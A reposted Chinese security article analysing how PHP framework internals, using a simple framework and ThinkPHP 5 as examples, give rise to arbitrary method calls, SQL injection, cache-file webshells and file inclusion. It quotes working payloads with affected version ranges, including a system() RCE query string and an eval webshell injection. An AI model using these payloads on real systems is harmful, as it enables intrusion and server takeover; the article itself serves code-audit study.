本文转自:简单理解 PHP 框架可能产生的安全问题
前几天看到某大牛对 PbootCMS 的代码审计,突然明白了底层逻辑对 cms 审计的重要性 开发者自写的框架的审计一般是 框架实现->调用地点, simple-framework 是一个简单的框架实现, 如果仅关注框架实现,它是一个很好的选择.,本文以 simple-framework 和 thinphp 为例,重点关注框架的底层实现可能产生的问题 0X01 框架简介现在的 php 框架,一般都是单一入口 - define('SF_PATH',dirname(__DIR__));
- require_once(SF_PATH.'/src/Sf.php');
- require_once(__DIR__ . '/../vendor/autoload.php');
- ini_set("display_errors", "On");
- error_reporting(E_ALL | E_STRICT);
- $application = new \sf\web\Application();
- $application->run();
复制代码
加载基础文件后,引入自动加载机制,调用框架类,处理请求并发送响应
那么框架类都要做什么? 框架类会将请求封装成 Resquest 对象,并且解析路由,调用对应的 controller 处理,然后返回 Response 对象,并且框架会提供一些辅助工具, 如 缓存, 模板, model 。 接下来,就看看框架在进行相应出来时可能会产生什么问题.
0x02 控制器调用- $router = $_GET['r'];
- list($controllerName, $actionName) = explode('/',$router);
- $ucController = ucfirst($controllerName);
- $controllerNameAll = 'app\\controllers\\'.$ucController.'Controller';
- $controller = new $controllerNameAll();
- $controller ->id = $controllerName;
- $controller -> action = $actionName;
- return call_user_func([$controller,'action'.ucfirst($actionName)]);
复制代码 框架类对控制器的调用是通过 call_user_func 实现的,如果对控制器和方法没有做好校验,就可能导致任意方法调用,进而导致代码执行,thinphp 两个 rce 漏洞都和这个相关
- // ./thinkphp/library/think/route/Dispatch.php
- public function exec()
- {
- ...
- // 实例化控制器
- $instance = $this->app->controller($this->controller,
- ...
- $action = $this->actionName . $this->rule->getConfig('action_suffix');
- ....
- $reflect = new ReflectionMethod($instance, $action);
- $methodName = $reflect->getName();
- ...
- $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
- // 自动获取请求变量
- $vars = $this->rule->getConfig('url_param_type')
- ? $this->request->route()
- : $this->request->param();
- $vars = array_merge($vars, $this->param);
- ....
- $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
复制代码 类比 simple-framework 框架, thinphp 要做的也是获取控制器名,方法名,和参数,然后利用类似call_user_func进行执行.这样很会导致调用 任意类的任意方法.thinphp 使用反射机制来实现控制器调用 - $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);
复制代码
如果没有开启强制路由,传入
- ?s=index/\think\Request/input&filter[]=system&data=pwd
复制代码
此时 $this->controller 为 \think\Request,\$this->actionName 为 input, 最终调用了 request 对象下了 input 方法, input 方法为了支持自定义过滤器存在 call_user_func 函数,最终导致代码执行
0X03 modelModel 类的作用是映射数据库表,进行增删改查操作,并且返回 Model 对象, Model 对象是把数据库指定表中的一行数据映射,并有增删改查的操作方法(利用主键,构造 where,还是调用 Model 类的方法实现). model 模型会实例化一个数据库连接对象,进行数据库操作 - public static function updateAll($condition, $attributes)
- {
- $sql = 'update '. static::tableName();
- $params = [];
-
- if(!empty($attributes)){
- $sql .= ' set ';
- $params = array_values($attributes);
- $keys = [];
- foreach($attributes as $key => $value){
- array_push($keys, "$key = ?");
- }
- $sql .= implode(' , ', $keys);
- }
- list($where, $param) = static::buildWhere($condition);
- $sql .= $where;
- // array_push($params, $param[0]);
- $params =array_merge($params, $param);
- $stmt = static::getDb()->prepare($sql);
- $execResult = $stmt->execute($params);
- if ($execResult){
- $execResult = $stmt->rowCount();
- }
- return $execResult;
- }
复制代码
以 update 的实现为例, 代码的大体逻辑是将 update 的 set 部分拼接好然后调用增删改查都可用的 buildwhere, 构造 where 语句, 然后进行 sql 执行。
可见,在底层既有 key 的拼接,又有 value 的拼接,如果没有做好过滤,很容易产生 sql 注入,尤其是很多开发者为了扩建功能,提供一些新的支持,也会导致各种各样的问题, 虽然这个底层用了预编译,可能利用价值不高
thinkphp insert 方法注入
版本5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5
- //控制器设置
- $username = request()->get('username/a');
- db('users')->insert(['username' => $username]);
- return 'Update success';
- //payload
- index?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1
复制代码对应 simple-framework 框架, thinkphp 的 db/Query 类下的 insert 实现要做的也是, 构建 sql 语句,然后预编译执行 - // library/db/Query
- // 删除了部分不必要代码
- public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
- {
- // 分析查询表达式
- $options = $this->parseExpress();
- $data = array_merge($options['data'], $data);
- // 生成SQL语句
- $sql = $this->builder->insert($data, $options, $replace);
- // 获取参数绑定
- $bind = $this->getBind();
- // 执行操作
- $result = 0 === $sql ? 0 : $this->execute($sql, $bind);
- return $result;
复制代码 thinphp 前面对表达式进行了分析,不过不影响我们的 payload我们跟进$this->builder->insert($data, $options, $replace);,看语句是怎么构建的
- $data = $this->parseData($data, $options);
- $fields = array_keys($data);
- $values = array_values($data);
- $sql = str_replace(
- ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
- [
- $replace ? 'REPLACE' : 'INSERT',
- $this->parseTable($options['table'], $options),
- implode(' , ', $fields),
- implode(' , ', $values),
- $this->parseComment($options['comment']),
- ], $this->insertSql);
- // $this->insertSql=%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%
- return $sql;
- }
复制代码
可以看到,先解析要插入的数据,然后替换模板进行插入,我们跟进 parseData 方法
- foreach ($data as $key => $val) {
- } elseif (is_array($val) && !empty($val)) {
- switch ($val[0]) {
- case 'exp':
- $result[$item] = $val[1];
- break;
- case 'inc':
- $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
- break;
- case 'dec':
- $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
- break;
- }
复制代码
在 parseData, thinphp 为 insert 数组的插入提供了额外的支持, 如果数组的第一个字段是 exp,则直接执行第二个字段的 sql 语句,
在 thinkphp3 的时候,全局没有过滤 exp 也曾出过注入漏洞, 现在 thinphp 默认会将外部输入的数组中的 exp 后面加一个空格,所以这里匹配不到 但这里的 inc, 全局没有过滤,而又直接拼接了 $val[1] 和 $val[2] 导致注入漏洞的产生, 这个地方在 5.1.6<=ThinkPHP<=5.1.7 , 因为新增了默认处理, 还出过 update 注入
一些可能导致注入的情况总结
因为框架要扩展各种各样的函数,会出现各种复杂的情况,很容易导致注入漏洞的产生. 1、order by 字段 因为传入的是表名,导致一般单引号,双引号的防御失效, 参考 5.1.16<=ThinkPHP5<=5.1.22, order by 方法注入 2、聚合函数 还是反引号的问题,参考 5.0.0<=ThinkPHP<=5.0.21, 5.1.3<=ThinkPHP5<=5.1.25 聚会函数注入 3、开发者扩展的新功能 insert 支持二维数组插入多条数据,而全局过滤没有过滤 key 导致利用 key 进行注入,参考 PbootCMS 4、还有数组未过滤 key,然后拼接到 buildwhere 语句的字段名导致注入
0X04 缓存
- interface CacheInterface{
- public function buildKey($key);
- public function get($key);
- public function exists($key);
- public function mget($keys);
- public function set($key, $value,$duration = 0);
- public function mset($items, $duration = 0);
- public function add($key, $value, $duration = 0);
- public function madd($items, $duration = 0);
- public function delete($key);
- public function flush();
- }
复制代码
缓存组件,一般在扩展的组件中
会提供类似 set 和 get 方法,将想要缓存的数据写入文件或数据库,方便下次读取 如果使用文件驱动类,一般的操作是利用 $key 构建文件名, 然后放在 runtime 目录,如果网站是直接安装的根目录的,那么 runtime 目录是可以直接访问的有些框架为了防止用户直接访问到缓存数据,将文件名设置为 xx.php, 则可能导致 rce set 方法会构建文件名,失效时间,然后把数据存入文件 - public function set($key, $value, $duration = 0){
- $key = $this->buildKey($key);
- $cacheFile = $this->cachePath.$key;
- $value = serialize($value);
- if(@file_put_contents($cacheFile,$value,LOCK_EX)!==false){
- if($duration<=0){
- $duration = 31536000;
- }
- # 用修改时间,标志缓存结束时间
- return touch($cacheFile,$duration+time());
- }
- }
复制代码 5.0.0<=ThinkPHP5<=5.0.10 缓存文件 getshell
- //控制器,需要创建对应模板
- use think\Cache;
- Cache::set("name",input("get.username"));
- return 'Cache success';
- // payload
- index/?username=wendell123%0d%0a@eval($_GET[_]);//
复制代码
在 thinphp 的 Cache 类的 set 中,先通过单例模式 init 方法,创建一个实例, 默认为 file,
既调用think\cache\driver\File的 set 方法 - public static function set($name, $value, $expire = null)
- {
- self::$writeTimes++;
- return self::init()->set($name, $value, $expire);
- }
复制代码 跟一下
- public function set($name, $value, $expire = null)
- {
- if (is_null($expire)) {
- $expire = $this->options['expire'];
- }
- if ($expire instanceof \DateTime) {
- $expire = $expire->getTimestamp() - time();
- }
- $filename = $this->getCacheKey($name, true);
- if ($this->tag && !is_file($filename)) {
- $first = true;
- }
- $data = serialize($value);
- if ($this->options['data_compress'] && function_exists('gzcompress')) {
- //数据压缩
- $data = gzcompress($data, 3);
- }
- $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
- $result = file_put_contents($filename, $data);
- if ($result) {
- isset($first) && $this->setTagItem($filename);
- clearstatcache();
- return true;
- } else {
- return false;
- }
- }
复制代码
虽然代码很多,类比 simple-framework 的实现,它要做的还是设置失效时间,然后将数据序列化,最后存入文件中,重点是这里
- $data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
复制代码可以看到 thinphp 是将数据写在 // 后,只要利用换行绕过,写入文件后,即可 getshell.
0X05 模板- public function compile($file = null,$params = [])
- {
- $path = '../views/'.$file.'.sf';
- extract($params);
- if(!$this->isExpired($path)){
- $compiled = $this->getComiledPath($path);
- require_once $compiled;
- }
复制代码
控制器,调用模板的渲染方法,并且传入数据,最后返回 html 结果.
php 模板的实现方式一般为,将模板中的 {{name}} 替换为对应的 php 代码,如 - <?php echo htmlentities(isset( $title ) ? $title : null) ?>
复制代码
并且对文件进行缓存,下次使用时,判断缓存不过期便,直接读取,并把用户传入变量用 extract 扩展到全局,然后进行包含操作,输出内容 在 extract($params),可能会有变量覆盖,进而导致任意文件包含
5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10 任意文件包含
- //控制器,需要创建对应模板
- $this->assign(request()->get());
- return $this->fetch();
- // payload
- index/index/index?cacheFile=evil.php
复制代码
在 Template 的实现部分
- public function fetch($template, $vars = [], $config = [])
- {
- if ($vars) {
- $this->data = $vars;
- }
- if ($config) {
- $this->config($config);
- }
- if (!empty($this->config['cache_id']) && $this->config['display_cache']) {
- // 读取渲染缓存
- $cacheContent = Cache::get($this->config['cache_id']);
- if (false !== $cacheContent) {
- echo $cacheContent;
- return;
- }
- }
- $template = $this->parseTemplateFile($template);
- if ($template) {
- $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');
- if (!$this->checkCache($cacheFile)) {
- // 缓存无效 重新模板编译
- $content = file_get_contents($template);
- $this->compiler($content, $cacheFile);
- }
- // 页面缓存
- ob_start();
- ob_implicit_flush(0);
- // 读取编译存储
- $this->storage->read($cacheFile, $this->data);
- // 获取并清空缓存
- $content = ob_get_clean();
- if (!empty($this->config['cache_id']) && $this->config['display_cache']) {
- // 缓存页面输出
- Cache::set($this->config['cache_id'], $content, $this->config['cache_time']);
- }
- echo $content;
- }
复制代码 上述代码也是相同的逻辑,重点看
- $this->storage->read($cacheFile, $this->data);
复制代码
模板文件的加载部分
- public function read($cacheFile, $vars = [])
- {
- if (!empty($vars) && is_array($vars)) {
- // 模板阵列变量分解成为独立变量
- extract($vars, EXTR_OVERWRITE);
- }
- //载入模版缓存文件
- include $cacheFile;
- }
复制代码
可以看到,thinphp 在处理 vars,直接覆盖了变量,如果传入 $cachefile,则导致任意文件包含
总结
本文只是列一些框架的常见组件可能存在的问题,并没有很细致的进行分析,可能不全面,希望和师傅们一起学习,如果文章中出现了错误请师傅们指正.
|